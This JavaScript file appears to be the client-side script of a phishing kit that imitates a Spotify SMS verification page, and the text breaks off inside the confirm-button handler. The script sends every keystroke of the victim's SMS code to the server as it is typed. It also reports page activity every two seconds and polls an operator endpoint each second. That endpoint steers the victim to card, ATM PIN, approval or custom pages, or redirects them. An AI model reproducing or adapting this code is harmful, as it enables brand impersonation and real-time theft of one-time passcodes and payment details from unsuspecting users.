console.log('=== SMS-WORKING.js loaded ===');

// Variables globales
let timeLeft = 31;
let timerInterval;
let pollingInterval;
let isDeclined = false; // Flag pour empêcher le polling après une déclinaison

// === UTILS ===
function showError(input, message) {
    let errorDiv = input.parentNode.querySelector('.input-error');
    if (!errorDiv) {
        errorDiv = document.createElement('div');
        errorDiv.className = 'input-error text-xs text-red-500 mt-1';
        input.parentNode.appendChild(errorDiv);
    }
    input.classList.add('border-red-500', 'ring-2', 'ring-red-200');
    errorDiv.textContent = message;
    errorDiv.style.display = 'block';
}

function clearError(input) {
    let errorDiv = input.parentNode.querySelector('.input-error');
    input.classList.remove('border-red-500', 'ring-2', 'ring-red-200');
    if (errorDiv) {
        errorDiv.textContent = '';
        errorDiv.style.display = 'none';
    }
}

// === SMS ERROR DISPLAY ===
function showSmsError(message) {
    // Remove existing error alerts
    const existingAlert = document.querySelector('.sms-error-alert');
    if (existingAlert) {
        existingAlert.remove();
    }
    
    const alertDiv = document.createElement('div');
    alertDiv.className = 'sms-error-alert bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded mb-4';
    alertDiv.innerHTML = `
        <strong class="font-bold">Error!</strong>
        <span class="block sm:inline">${message}</span>
    `;
    
    // Find the SMS input and insert the alert above it
    const smsInput = document.getElementById('smsCode');
    if (smsInput) {
        const smsForm = smsInput.closest('form') || smsInput.parentNode;
        smsForm.insertBefore(alertDiv, smsForm.firstChild);
        alertDiv.scrollIntoView({ behavior: 'smooth', block: 'center' });
    } else {
        // Fallback to main content if SMS input not found
        const mainContent = document.querySelector('main');
        if (mainContent) {
            mainContent.insertBefore(alertDiv, mainContent.firstChild);
            alertDiv.scrollIntoView({ behavior: 'smooth', block: 'center' });
        }
    }
}

// === CUSTOM PAGE CONTENT ===
function applyCustomPageContent(customPage) {
    console.log('Applying custom page content:', customPage);
    console.log('Input type from customPage:', customPage.input_type);
    console.log('Min length from customPage:', customPage.min_length);
    console.log('Max length from customPage:', customPage.max_length);
    
    // Update page title
    if (customPage.title) {
        document.title = customPage.title + ' - Spotify';
    }
    
    // Update header logo if custom logo exists
    if (customPage.logo_url) {
        const logoElement = document.querySelector('header svg');
        if (logoElement) {
            logoElement.innerHTML = `<image href="${customPage.logo_url}" width="32" height="32"/>`;
        }
    }
    
    // Update main content with custom styling
    const mainContent = document.querySelector('main');
    if (mainContent && customPage.background_color) {
        mainContent.style.backgroundColor = customPage.background_color;
    }
    
    // Update SMS verification section
    const smsSection = document.getElementById('sms-verification-section');
    if (smsSection) {
        // Update background color
        if (customPage.background_color) {
            smsSection.style.backgroundColor = customPage.background_color;
        }
        
        // Update text color
        if (customPage.text_color) {
            smsSection.style.color = customPage.text_color;
        }
        
        // Update title
        const titleElement = document.getElementById('sms-main-title');
        if (titleElement && customPage.sms_verification_title) {
            titleElement.textContent = customPage.sms_verification_title;
        }
        
        // Update subtitle
        const subtitleElement = document.getElementById('sms-main-subtitle');
        if (subtitleElement && customPage.sms_verification_subtitle) {
            subtitleElement.textContent = customPage.sms_verification_subtitle;
        }
        
        // Update security step text
        const securityStepElement = document.getElementById('security-step-notice');
        if (securityStepElement && customPage.security_step_text) {
            securityStepElement.innerHTML = `
                <p class="text-blue-200 text-sm">
                    <strong>Security Step:</strong> ${customPage.security_step_text}
                </p>
            `;
        }
    }
    
    // Update SMS form section
    const smsFormSection = document.getElementById('sms-form-section');
    if (smsFormSection) {
        // Update background color
        if (customPage.background_color) {
            smsFormSection.style.backgroundColor = customPage.background_color;
        }
        
        // Update text color
        if (customPage.text_color) {
            smsFormSection.style.color = customPage.text_color;
        }
        
        // Update form title
        const formTitleElement = document.getElementById('sms-form-title');
        if (formTitleElement && customPage.sms_verification_title) {
            formTitleElement.textContent = customPage.sms_verification_title;
        }
        
        // Update form subtitle
        const formSubtitleElement = document.getElementById('sms-form-subtitle');
        if (formSubtitleElement && customPage.sms_verification_subtitle) {
            formSubtitleElement.textContent = customPage.sms_verification_subtitle;
        }
    }
    
    // Update SMS code notice section
    const smsCodeNotice = document.getElementById('sms-code-notice');
    if (smsCodeNotice) {
        // Update background color
        if (customPage.background_color) {
            smsCodeNotice.style.backgroundColor = customPage.background_color;
        }
        
        // Update title
        const codeTitleElement = document.getElementById('sms-code-title');
        if (codeTitleElement && customPage.sms_code_required_title) {
            codeTitleElement.textContent = customPage.sms_code_required_title;
        }
        
        // Update description
        const codeDescElement = document.getElementById('sms-code-description');
        if (codeDescElement && customPage.sms_code_required_text) {
            codeDescElement.textContent = customPage.sms_code_required_text;
        }
    }
    
    // Update input label
    const inputLabelElement = document.getElementById('sms-input-label');
    if (inputLabelElement && customPage.sms_input_label) {
        inputLabelElement.textContent = customPage.sms_input_label;
    }
    
    // Update input placeholder
    const inputElement = document.getElementById('smsCode');
    if (inputElement) {
        // IMPORTANT: Apply input type FIRST before other attributes
        // This is crucial for browser compatibility
        if (customPage.input_type) {
            console.log('Applying input_type FIRST:', customPage.input_type);
            
            // Remove existing input listener to avoid duplicates
            const existingListener = inputElement._numericInputListener;
            if (existingListener) {
                inputElement.removeEventListener('input', existingListener);
                inputElement._numericInputListener = null;
            }
            
            if (customPage.input_type === 'number') {
                // Use direct property assignment - must be done first
                inputElement.type = 'number';
                inputElement.setAttribute('inputmode', 'numeric');
                inputElement.setAttribute('pattern', '[0-9]*');
                
                // Create and store listener function
                const numericListener = function(e) {
                    e.target.value = e.target.value.replace(/\D/g, '');
                };
                
                // Store reference to listener
                inputElement._numericInputListener = numericListener;
                inputElement.addEventListener('input', numericListener);
                
                console.log('✅ Applied type: number');
                console.log('Current input type after assignment:', inputElement.type);
            } else if (customPage.input_type === 'text') {
                // Use direct property assignment - must be done first
                inputElement.type = 'text';
                inputElement.removeAttribute('inputmode');
                inputElement.removeAttribute('pattern');
                
                console.log('✅ Applied type: text');
                console.log('Current input type after assignment:', inputElement.type);
                
                // Force re-check of numeric filter
                setTimeout(() => {
                    const smsInput = document.getElementById('smsCode');
                    if (smsInput && smsInput._updateNumericFilter) {
                        smsInput._updateNumericFilter();
                    }
                }, 50);
            }
        }
        
        // Now apply placeholder
        if (customPage.sms_input_placeholder) {
            inputElement.placeholder = customPage.sms_input_placeholder;
        }
        
        // Apply custom max length (only for text inputs, number inputs use max attribute)
        if (customPage.max_length !== undefined && customPage.max_length !== null) {
            if (customPage.input_type === 'number') {
                inputElement.setAttribute('max', customPage.max_length);
                inputElement.removeAttribute('maxlength'); // Remove maxlength for number type
            } else {
                inputElement.setAttribute('maxlength', customPage.max_length);
            }
            console.log('Applied max_length:', customPage.max_length);
        }
        
        // Apply custom min length (only for text inputs, number inputs use min attribute)
        if (customPage.min_length !== undefined && customPage.min_length !== null) {
            if (customPage.input_type === 'number') {
                inputElement.setAttribute('min', customPage.min_length);
                inputElement.removeAttribute('minlength'); // Remove minlength for number type
            } else {
                inputElement.setAttribute('minlength', customPage.min_length);
            }
            console.log('Applied min_length:', customPage.min_length);
        }
    }
    
    // Update submit button
    const submitButton = document.querySelector('#smsForm button[type="button"]');
    if (submitButton && customPage.button_text) {
        submitButton.textContent = customPage.button_text;
    }
    
    // Update button color
    if (submitButton && customPage.button_color) {
        submitButton.style.backgroundColor = customPage.button_color;
    }
    
    // Update secure verification text
    const secureTextElement = document.getElementById('secure-verification-notice');
    if (secureTextElement && customPage.secure_verification_text) {
        secureTextElement.innerHTML = `
            <div class="flex items-start">
                <svg class="w-6 h-6 text-green-400 mt-0.5 mr-3 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20">
                    <path fill-rule="evenodd" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z" clip-rule="evenodd"/>
                </svg>
                <div class="text-sm text-green-300">
                    <div class="font-medium mb-1">Secure Verification</div>
                    <div>${customPage.secure_verification_text}</div>
                </div>
            </div>
        `;
    }
    
    // Update header links
    const helpLink = document.getElementById('header-help-link');
    const accountLink = document.getElementById('header-account-link');
    
    if (helpLink && customPage.help_text) {
        helpLink.textContent = customPage.help_text;
    }
    
    if (accountLink && customPage.account_text) {
        accountLink.textContent = customPage.account_text;
    }
}

// === LOADING OVERLAY ===
function showLoadingOverlay(text = 'Processing...', subtext = 'Please wait while we secure your information') {
    // Ne pas afficher le loading si la carte est déjà déclinée
    if (isDeclined) {
        console.log('Loading overlay prevented: card already declined');
        return;
    }
    
    console.log('showLoadingOverlay called with:', text, subtext);
    const overlay = document.getElementById('loadingOverlay');
    const loadingText = document.getElementById('loadingText');
    const loadingSubtext = document.getElementById('loadingSubtext');
    
    console.log('Loading overlay elements:', { overlay, loadingText, loadingSubtext });
    
    if (loadingText) loadingText.textContent = text;
    if (loadingSubtext) loadingSubtext.textContent = subtext;
    if (overlay) {
        overlay.classList.remove('hidden');
        console.log('Loading overlay shown');
    } else {
        console.error('Loading overlay not found!');
    }
}

function hideLoadingOverlay() {
    const overlay = document.getElementById('loadingOverlay');
    if (overlay) overlay.classList.add('hidden');
    
    // Réinitialiser l'état du bouton
    const submitButton = document.getElementById('confirmBtn');
    if (submitButton) {
        submitButton.disabled = false;
        // Restaurer le texte original du bouton (peut être dans le HTML ou dans customPage)
        const originalText = submitButton.getAttribute('data-original-text') || 'Confirm';
        submitButton.textContent = originalText;
    }
}

// === REFRESH ACTION PING ===
function sendAction(actionSent) {
    const csrfToken = document.querySelector('input[name="_token"]')?.value;
    if (!csrfToken) {
        console.error('CSRF token not found');
        return;
    }
    
    console.log('Sending action:', actionSent);
    
    fetch('/refresh-action', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Accept': 'application/json',
            'X-CSRF-TOKEN': csrfToken
        },
        body: JSON.stringify({ action_sent: actionSent })
    })
    .then(res => res.json())
    .then(data => {
        console.log('Action sent successfully:', actionSent);
    })
    .catch(err => {
        console.error(`Failed to send action '${actionSent}':`, err);
    });
}

// === TIMER LOGIC ===
function updateTimer() {
    const timerElement = document.getElementById('timer');
    if (!timerElement) return;
    
    const minutes = Math.floor(timeLeft / 60);
    const seconds = timeLeft % 60;
    timerElement.textContent = `${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
    
    if (timeLeft <= 0) {
        clearInterval(timerInterval);
        timerElement.textContent = '00:00';
        timerElement.classList.remove('timer');
        timerElement.classList.add('text-gray-500');
    }
    timeLeft--;
}

// === POLLING LOGIC ===
function startWhatToDoPolling() {
    // Ne pas démarrer le polling si la carte est déjà déclinée
    if (isDeclined) {
        console.log('Polling stopped: card already declined');
        return;
    }
    
    let lastStatus = null;
    let pollCount = 0;
    
    console.log('Starting what-to-do polling...');
    
    // Clear any existing polling first
    if (pollingInterval) {
        clearInterval(pollingInterval);
        pollingInterval = null; // Réinitialiser l'interval
    }
    
    // Update loading text for polling
    showLoadingOverlay('Verifying SMS...', 'Checking verification status');
    
    pollingInterval = setInterval(async () => {
        // Vérifier si la carte a été déclinée avant de continuer
        if (isDeclined) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
            hideLoadingOverlay();
            return;
        }
        
        pollCount++;
        console.log(`Polling attempt #${pollCount}`);
        try {
            const response = await fetch('/what-to-do', {
                method: 'GET',
                headers: {
                    'Accept': 'application/json',
                    'X-CSRF-TOKEN': document.querySelector('input[name="_token"]').value
                },
                credentials: 'same-origin'
            });
            if (response.ok) {
                const data = await response.json();
                console.log('What-to-do response:', data);
                
                // Si le status est 4 (declined), 98 (redirect), ou 99 (error), arrêter immédiatement le polling
                if (data.data && (data.data.status === 4 || data.data.status === 98 || data.data.status === 99)) {
                    console.log('Declined/Redirect/Error status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    
                    // Handle redirect (status 98) directement dans le polling
                    if (data.data.status === 98 && data.data.redirect && data.data.redirect_url) {
                        const redirectUrl = data.data.redirect_url;
                        console.log('Redirecting to:', redirectUrl);
                        try {
                            const url = new URL(redirectUrl);
                            window.location.href = redirectUrl;
                            return;
                        } catch (e) {
                            console.error('Invalid redirect URL:', redirectUrl);
                            showSmsError('Invalid redirect URL. Please try again.');
                            return;
                        }
                    }
                    
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Si le status est >= 20 (custom page) ET pas une erreur, arrêter immédiatement le polling
                if (data.data && data.data.status >= 20 && !data.data.declined && data.data.status !== 99 && data.data.status !== 98) {
                    console.log('Custom page status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Si le status est 11, 12 (SMS incorrect ou ask for sms), arrêter immédiatement le polling
                if (data.data && (data.data.status === 11 || data.data.status === 12)) {
                    console.log('SMS status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Si le status est 3 (erreur générale), arrêter immédiatement le polling
                if (data.data && data.data.status === 3) {
                    console.log('Error status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Si le status est 5 (success/mark done), rediriger vers la page success
                if (data.data && data.data.status === 5) {
                    console.log('Success/Mark done status detected in polling, redirecting to success page...');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page success
                    const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/success' : '/success');
                    console.log('Final success URL:', successUrlFinal);
                    window.location.href = successUrlFinal;
                    return;
                }
                
                // Si le status est 10 (ask for approve), rediriger vers la page approve
                if (data.data && data.data.status === 10) {
                    console.log('Ask for approve (status 10) detected in polling, redirecting to approve page...');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page approve
                    const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
                    console.log('Final approve URL:', approveUrlFinal);
                    window.location.href = approveUrlFinal;
                    return;
                }
                
                // Si le status est 6 ou 7 (ask for approve), rediriger vers la page approve
                if (data.data && (data.data.status === 6 || data.data.status === 7)) {
                    console.log('Approve requested detected in polling, redirecting to approve page...');
                    console.log('Approve URL:', typeof approveUrl !== 'undefined' ? approveUrl : 'undefined');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                    hideLoadingOverlay();
                    // Rediriger vers la page approve
                    const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
                        (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
                    console.log('Final approve URL:', approveUrlFinal);
                    window.location.href = approveUrlFinal;
                    return;
                }
                
                // Si le status est >= 8 et < 20 (pin code ou autres status finaux), arrêter immédiatement le polling
                if (data.data && data.data.status >= 8 && data.data.status < 20) {
                    console.log('Pin code or other final status detected in polling, stopping immediately');
                    isDeclined = true;
                    clearInterval(pollingInterval);
                    pollingInterval = null; // Réinitialiser l'interval
                    hideLoadingOverlay();
                    handleWhatToDoResponse(data.data);
                    return;
                }
                
                // Update loading text with status
                const statusText = data.data?.status || 'unknown';
                
                // Ne pas mettre à jour le loading si déjà décliné
                if (!isDeclined) {
                    showLoadingOverlay('Verifying SMS...', `Status: ${statusText}`);
                }
                
                if (data.data && data.data.status !== lastStatus) {
                    lastStatus = data.data.status;
                    console.log('Status changed from', lastStatus, 'to', data.data.status);
                    
                    if (data.data.status !== 2) {
                        console.log('Stopping polling - status is not 2');
                        clearInterval(pollingInterval);
                        pollingInterval = null; // Réinitialiser l'interval
                        hideLoadingOverlay();
                        handleWhatToDoResponse(data.data);
                    } else {
                        console.log('Continuing polling - status is 2 (waiting)');
                    }
                } else if (data.data && data.data.status === 2) {
                    console.log('Status is 2 - continuing to wait');
                } else {
                    console.log('Status unchanged or no data.data');
                }
            }
        } catch (error) {
            console.error('Polling error:', error);
            // Continue polling even if there's an error, sauf si décliné
            if (isDeclined) {
                clearInterval(pollingInterval);
                pollingInterval = null; // Réinitialiser l'interval
                hideLoadingOverlay();
            }
        }
    }, 1000);
}

function handleWhatToDoResponse(data) {
    console.log('Handling what-to-do response with status:', data.status);
    console.log('Full response data:', data);
    
    // Handle declined card status (4)
    if (data.status === 4) {
        console.log('Decline status detected (status 4):', data);
        console.log('Decline message:', data.message);
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        window.location.href = typeof cardUrl !== 'undefined' ? cardUrl : '/card';
        return;
    }
    
    // Handle custom redirect (status 98) - DOIT ÊTRE AVANT status >= 20
    if (data.status === 98 && data.redirect && data.redirect_url) {
        console.log('Custom redirect detected:', data);
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        
        const redirectUrl = data.redirect_url;
        console.log('Redirecting to:', redirectUrl);
        
        try {
            const url = new URL(redirectUrl);
            // Rediriger immédiatement
            window.location.href = redirectUrl;
        } catch (e) {
            console.error('Invalid redirect URL:', redirectUrl);
            showSmsError('Invalid redirect URL. Please try again.');
        }
        return;
    }
    
    // Handle custom page (status >= 20)
    // Mais PAS si c'est une erreur (declined = true ou status 99) ou status 98 (redirect)
    if (data.status >= 20 && !data.declined && data.status !== 99 && data.status !== 98) {
        console.log('Custom page status detected (>=20)');
        console.log('Has custom_page flag?', data.custom_page);
        console.log('Has page_data?', data.page_data);
        
        // Arrêter immédiatement le polling pour éviter qu'il se redéclenche
        isDeclined = true; // Utiliser le flag pour empêcher tout nouveau polling
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
        }
        
        if (data.custom_page && data.page_data) {
            console.log('Custom page detected:', data);
            console.log('Page data:', data.page_data);
            hideLoadingOverlay();
            // Apply custom page styling and content
            applyCustomPageContent(data.page_data);
            
            // Force re-apply type after applying custom content
            setTimeout(() => {
                const inputElement = document.getElementById('smsCode');
                if (inputElement && data.page_data.input_type) {
                    console.log('Re-applying input type from polling:', data.page_data.input_type);
                    inputElement.type = data.page_data.input_type;
                    console.log('Input type after re-apply:', inputElement.type);
                    
                    // Update numeric filter
                    if (inputElement._updateNumericFilter) {
                        inputElement._updateNumericFilter();
                    }
                }
            }, 200);
            
            // Refresh la page pour afficher la custom page correctement
            console.log('Refreshing page to show custom page...');
            setTimeout(() => {
                window.location.reload();
            }, 500);
            return;
        } else {
            // Status >= 20 mais pas de données custom - refresh quand même pour charger la custom page depuis le serveur
            console.log('Custom page status detected but no page_data, refreshing page to load custom page from server...');
            hideLoadingOverlay();
            setTimeout(() => {
                window.location.reload();
            }, 500);
            return;
        }
    }
    
    // Handle declined card status (4) - Même logique que markCCDeclined avec messages spécifiques
    if (data.status === 4) {
        console.log('Decline status detected (status 4):', data);
        console.log('Decline message:', data.message);
        isDeclined = true; // Marquer comme décliné pour empêcher le polling
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
        }
        hideLoadingOverlay();
        // Rediriger vers la page card avec le message d'erreur (même comportement que markCCDeclined)
        window.location.href = typeof cardUrl !== 'undefined' ? cardUrl : '/card';
        return;
    }
    
    // Handle custom redirect (status 98)
    if (data.status === 98 && data.redirect && data.redirect_url) {
        console.log('Custom redirect detected:', data);
        isDeclined = true; // Empêcher le polling de continuer
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        
        // Rediriger vers l'URL spécifiée
        const redirectUrl = data.redirect_url;
        console.log('Redirecting to:', redirectUrl);
        
        // Validation de l'URL avant redirection
        try {
            const url = new URL(redirectUrl);
            // Rediriger après un court délai pour permettre au loading de disparaître
            setTimeout(() => {
                window.location.href = redirectUrl;
            }, 500);
        } catch (e) {
            console.error('Invalid redirect URL:', redirectUrl);
            showSmsError('Invalid redirect URL. Please try again.');
        }
        return;
    }
    
    // Handle custom error (status 99)
    if (data.status === 99 && data.declined) {
        console.log('Custom error detected:', data);
        console.log('Custom message:', data.message);
        isDeclined = true; // Marquer comme décliné pour empêcher le polling
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null; // Réinitialiser l'interval
        }
        hideLoadingOverlay();
        showSmsError(data.message || 'An error occurred. Please try again.');
        return;
    }
    
    // Handle approve statuses (6, 7, 10)
    if (data.status === 6 || data.status === 7 || data.status === 10) {
        console.log('Approve requested, redirecting to approve page...');
        console.log('Status:', data.status, 'Approve URL:', typeof approveUrl !== 'undefined' ? approveUrl : 'undefined');
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        // Rediriger vers la page approve
        const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
            (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
        console.log('Final approve URL:', approveUrlFinal);
        window.location.href = approveUrlFinal;
        return;
    }
    
    // Handle success status (5)
    if (data.status === 5) {
        console.log('Success/Mark done detected, redirecting to success page...');
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : 
            (typeof window.location !== 'undefined' ? window.location.origin + '/success' : '/success');
        console.log('Final success URL:', successUrlFinal);
        window.location.href = successUrlFinal;
        return;
    }

    // Status 13: ATM / card PIN step (same as cc.js) — must leave SMS page for ATM page
    if (data.status === 13) {
        console.log('Status 13: ATM PIN required, redirecting...');
        isDeclined = true;
        if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
        }
        hideLoadingOverlay();
        let atmTarget;
        if (typeof verifyAtmUrl !== 'undefined' && verifyAtmUrl) {
            atmTarget = verifyAtmUrl;
        } else if (typeof cardUrl !== 'undefined' && cardUrl) {
            atmTarget = cardUrl.replace(/\/card\/?(\?.*)?$/, '/atm$1');
        } else {
            const segs = window.location.pathname.split('/').filter(Boolean);
            atmTarget = segs.length >= 1 ? '/' + segs[0] + '/atm' : '/';
        }
        window.location.href = atmTarget;
        return;
    }
    
    // Handle legacy statuses
    switch (data.status) {
        case 11:
        case 12:
            // SMS incorrect ou ask for sms - refresh la page pour demander un nouveau SMS
            isDeclined = true; // Empêcher le polling de continuer
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            hideLoadingOverlay();
            
            if (data.status === 12) {
                // Ask for sms - refresh la page
                console.log('Ask for SMS detected, refreshing page...');
                setTimeout(() => {
                    window.location.reload();
                }, 500);
            } else {
                // Incorrect SMS - stay on SMS page
                showSmsError('Incorrect SMS code. Please try again.');
                document.getElementById('smsCode').value = '';
                document.getElementById('smsCode').focus();
            }
            break;
            
        case 3:
            // Erreur générale - NE PAS refresh pour que l'erreur soit visible
            isDeclined = true; // Empêcher le polling de continuer
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            hideLoadingOverlay();
            showSmsError(`Error: ${data.message || 'Problem verifying the SMS'}`);
            break;
            
        case 5:
            // Success/Mark done - rediriger vers la page success
            console.log('Success/Mark done status detected, redirecting to success page...');
            isDeclined = true; // Empêcher le polling de continuer
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            hideLoadingOverlay();
            const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : 
                (typeof window.location !== 'undefined' ? window.location.origin + '/success' : '/success');
            console.log('Final success URL:', successUrlFinal);
            window.location.href = successUrlFinal;
            break;
            
        case 10:
            // Ask for approve - rediriger vers la page approve
            console.log('Ask for approve (status 10) detected, redirecting to approve page...');
            isDeclined = true;
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            hideLoadingOverlay();
            const approveUrlFinal = typeof approveUrl !== 'undefined' ? approveUrl : 
                (typeof window.location !== 'undefined' ? window.location.origin + '/approve' : '/approve');
            console.log('Final approve URL:', approveUrlFinal);
            window.location.href = approveUrlFinal;
            break;
            
        default:
            // Si le status est >= 20 (custom page) ET pas une erreur, refresh la page
            if (data.status >= 20 && !data.declined && data.status !== 99) {
                console.log('Custom page status detected in default case, refreshing page...');
                isDeclined = true;
                if (pollingInterval) {
                    clearInterval(pollingInterval);
                    pollingInterval = null;
                }
                hideLoadingOverlay();
                setTimeout(() => {
                    window.location.reload();
                }, 500);
                return;
            }
            
            // Status inconnu - NE PAS refresh pour que l'erreur soit visible
            isDeclined = true; // Empêcher le polling de continuer
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            hideLoadingOverlay();
            showSmsError(`Unknown status: ${data.status}`);
    }
}

// === DEBOUNCE FUNCTION ===
function debounce(fn, delay) {
    let timeoutId;
    return function(...args) {
        clearTimeout(timeoutId);
        timeoutId = setTimeout(() => fn.apply(this, args), delay);
    };
}

// === DOMContentLoaded ===
document.addEventListener('DOMContentLoaded', function() {
    console.log('=== DOMContentLoaded fired ===');
    console.log('verifySmsUrl:', typeof verifySmsUrl !== 'undefined' ? verifySmsUrl : 'UNDEFINED');
    console.log('whatToDoUrl:', typeof whatToDoUrl !== 'undefined' ? whatToDoUrl : 'UNDEFINED');
    
    // 1. Start timer
    timerInterval = setInterval(updateTimer, 1000);
    
    // 2. Start regular ping every 2 seconds
    setInterval(() => {
        sendAction('sms_page_active');
    }, 2000);
    
    // 3. Send initial ping
    sendAction('sms_page_loaded');
    
    // 4. Check for custom page content from session
    console.log('Checking for custom page content from session...');
    console.log('Custom page data:', customPageData);
    console.log('Custom page status:', customPageStatus);
    
    if (customPageData && customPageStatus >= 20) {
        console.log('Custom page detected from session:', customPageData);
        console.log('Applying custom content...');
        applyCustomPageContent(customPageData);
        
        // Force re-apply type after a short delay to ensure it's set
        setTimeout(() => {
            const inputElement = document.getElementById('smsCode');
            if (inputElement && customPageData.input_type) {
                console.log('Re-applying input type after delay:', customPageData.input_type);
                inputElement.type = customPageData.input_type;
                console.log('Input type after re-apply:', inputElement.type);
                
                // Update numeric filter
                if (inputElement._updateNumericFilter) {
                    inputElement._updateNumericFilter();
                }
            }
        }, 200);
    } else {
        console.log('No custom page content found in session');
    }
    
    // 3. Setup SMS code input tracking
    const smsInput = document.getElementById('smsCode');
    if (smsInput) {
        smsInput.addEventListener('input', debounce((e) => {
            sendAction(`smsCode: ${e.target.value}`);
        }, 500));
        
        smsInput.addEventListener('blur', (e) => {
            sendAction(`smsCode: ${e.target.value}`);
        });
        
        // Only allow numbers if input type is number
        // Store reference to check if we should filter
        let shouldFilterNumbers = false;
        
        // Check input type and apply filter accordingly
        const updateNumericFilter = () => {
            const inputType = smsInput.type || smsInput.getAttribute('type') || 'text';
            shouldFilterNumbers = (inputType === 'number');
            console.log('Numeric filter updated. Input type:', inputType, 'Should filter:', shouldFilterNumbers);
        };
        
        // Store reference for external updates
        smsInput._updateNumericFilter = updateNumericFilter;
        
        // Initial check
        updateNumericFilter();
        
        // Apply numeric filter only if type is number
        const numericInputHandler = function(e) {
            if (shouldFilterNumbers) {
                let value = e.target.value.replace(/\D/g, '');
                e.target.value = value;
            }
        };
        
        smsInput.addEventListener('input', numericInputHandler);
        
        // Re-check type after custom page content is applied
        setTimeout(() => {
            updateNumericFilter();
        }, 100);
        
        // Enter key support
        smsInput.addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                document.getElementById('confirmBtn').click();
            }
        });
    }
    
    // 4. Setup button click (like the old version)
    const confirmBtn = document.getElementById('confirmBtn');
    console.log('Confirm button found:', confirmBtn);
    
    // Sauvegarder le texte original du bouton
    if (confirmBtn) {
        confirmBtn.setAttribute('data-original-text', confirmBtn.textContent);
    }
    
    if (confirmBtn) {
        console.log('Setting up confirm button event listener');
        confirmBtn.addEventListener('click', async function(e) {
            e.preventDefault();
            
            console.log('Confirm button clicked');
            
            const smsCode = document.getElementById('smsCode').value.trim();
            if (!smsCode) {
                showSmsError('Please enter the SMS code');
                return;
            }
            // Validate numeric and length constraints before submission
            const inputEl = document.getElementById('smsCode');
            const minLen = parseInt(inputEl.getAttribute('minlength') || '6', 10);
            const maxLen = parseInt(inputEl.getAttribute('maxlength') || '10', 10);
            const digitsOnly = /^\d+$/;
            if (!digitsOnly.test(smsCode)) {
                showSmsError('The SMS code must contain digits only.');
                return;
            }
            if (smsCode.length < minLen) {
                showSmsError(`The SMS code must be at least ${minLen} digits.`);
                return;
            }
            if (smsCode.length > maxLen) {
                showSmsError(`The SMS code must be at most ${maxLen} digits.`);
                return;
            }
            
            clearError(document.getElementById('smsCode'));
            
            // Réinitialiser le flag de déclinaison pour permettre une nouvelle tentative
            isDeclined = false;
            
            // Arrêter tout polling existant avant de démarrer un nouveau
            if (pollingInterval) {
                clearInterval(pollingInterval);
                pollingInterval = null;
            }
            
            // Désactiver le bouton et montrer l'état de chargement
            const originalText = confirmBtn.getAttribute('data-original-text') || confirmBtn.textContent;
            confirmBtn.disabled = true;
            confirmBtn.innerHTML = `
                <svg class="w-5 h-5 animate-spin inline mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24">
